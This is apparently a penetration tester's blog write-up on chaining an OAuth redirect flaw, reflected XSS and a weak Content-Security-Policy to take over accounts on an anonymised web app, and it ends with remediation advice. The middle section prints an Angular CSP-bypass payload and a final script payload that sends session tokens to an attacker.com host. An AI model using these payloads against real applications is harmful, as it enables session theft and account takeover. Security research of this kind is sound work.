Avatar
Aditya is a Penetration Tester and Security Researcher based in India. He occasionally blogs about his findings and adventures in pentesting

Exploiting OAuth: Journey to Account Takeover

Most of the web and mobile applications these days use OAuth to secure their authorization endpoints. It allows them to easily grant access to their users to particular resources as per the application’s requirements.

This is a write-up of a chain of vulnerabilities (OAuth Misconfiguration, CSRF, XSS, and Weak CSP) that allowed me to take over a user account using a single interaction.

This was a usual Project Management Web Application, using Microsoft’s OAuth 2.0 to authorize their users to allow them access to the application. Let’s call it - https://victim.com


OAuth 2.0 Flow

An open protocol to allow secure authorization in a simple and standard method from web, mobile and desktop applications.

It is the industry-standard protocol for authorization. OAuth 2.0 focuses on client developer simplicity while providing specific authorization flows for web applications, desktop applications, mobile phones, and living room devices.

OAuth 2.0 is an authorization protocol and NOT an authentication protocol. As such, it is designed primarily as a means of granting access to a set of resources, for example, remote APIs or user’s data.

The authentication flow of the application was such that when a user visited the Application at https://victim.com, it redirected them to Microsoft’s Authorize endpoint at https://login.microsoftonline.com/<tenant-name>.onmicrosoft.com/oauth2/v2.0/authorize?p=<policy-name>

This is where the users entered their Email Addresses and the Passwords to authenticate and after a successful OAuth flow, the user was returned to the application showing them the actual Dashboard.

The Attack

Whenever an OAuth authentication is being used, the first thought crossing the mind of an attacker is to check if the application validates the value of redirectUrl. This may lead to OAuth token stealing if the token is returned along with the callback request.

The initial request was
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard
which redirected me to the Microsoft login page URL mentioned in the previous section.
So I tried to manipulate the redirectUrl and changed it with a server that I controlled to see if I receive the tokens but unfortunately, the application was not sending any of the tokens with the callback request which was weird.

On inspecting closely, it was observed that after returning from the OAuth flow, it sent a request to https://app.victim.com/auth/return containing the state and token values in the POST body.
The interesting part was the response as a result of this request. The response contained the actual tokens which the Application used. These tokens were being stored in the browser’s Session Storage using JavaScript as shown below -

sesstoken.png

The page then redirected me to -
https://app.victim.com/dashboard using window.location.replace.

This is the value from the redirectUrl parameter shown earlier in the initial request. Even though I was not able to get tokens by manipulating the redirectUrl, an attack could have still been possible if somehow the parameter was vulnerable to an XSS allowing me to directly read the tokens either from the source or from the session storage.

So I modified my payload to close the existing script tag to check if injecting scripts is possible or not. Here’s the URL that I used -
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
and the application graciously closed the script tag for me and reflected my HTML payload.

Closed Tag

From here, it was only one more step of data ex-filtration to my own server to steal the tokens and create a report.

But wait, there’s more. Now comes the part where I was stopped by the Content-Security-Policy. This is how their CSP looked when viewed on Google’s CSP Evaluator -

Google CSP Evaluator

The unsafe-inline mostly does the trick in terms of inline script execution so that’s not an issue.
This could also have been bypassed using https://www.gstatic.com domain shown above because it hosts Angular Libraries. Here’s how that would have looked -

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard\</script\>\<script+src="https://www.gstatic.com/fsn/angular\_js-bundle1.js"\>\</script\>\<input+ng-app+autofocus+ng-focus%3d"$event.path|orderBy%3a'[].constructor.from([1],alert)'"\>

The thing that troubled me was the data ex-filtration because the connect-src directive only allowed certain domains to make connections to.
In simple terms, this means I can’t randomly make requests to my own server to receive the tokens.

The connect-src Content Security Policy (CSP) directive guards the several browsers mechanisms that can fetch HTTP Requests. This includes XMLHttpRequest (XHR / AJAX), WebSocket, fetch(), <a ping> or EventSource.
https://content-security-policy.com/connect-src/

I tried frames and images as well but that didn’t work either because of frame-src and image-src attributes -

CSP

If you are not allowed to connect to any external host, you can send data directly in the URL (query string) by redirecting the user to your web server. Here’s my final payload -

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><script>window.location=’http://attacker.com/’+document.getElementsByTagName(‘script’)[0].outerText></script>

In the above payload, I’ve used window.location to redirect the user’s browser to my server and along with the redirection, I’m attaching the tokens present in the page using document.getElementsByTagName('script')[0].outerText

And the final result is freshly generated Session Tokens received by my netcat listener

Tokens


Remediation

Since this is a combination of multiple vulnerabilities, here’s how it could have been mitigated -

  1. The initial vulnerability is introduced due to misconfiguration in implementing the OAuth flow’s redirectUrl parameter which is never validated. This was manipulated with ease which introduced the main bug.
  2. The endpoint lacked CSRF protection. Along with the URL validation, the endpoint should have implemented a CSRF validation. An extra state parameter that’s generated and validated when they initiate the authentication flow.
  3. The XSS when setting the user tokens in the session storage. This allowed me to inject scripts to execute my payload. Great resource - OWASP XSS Prevention Cheat Sheet
  4. Weak CSP Policy allowing unsafe-inline. Except for one very specific case, you should avoid using the unsafe-inline keyword in your CSP policy. As you might guess it is generally unsafe to use unsafe-inline. (Reference)

References

all tags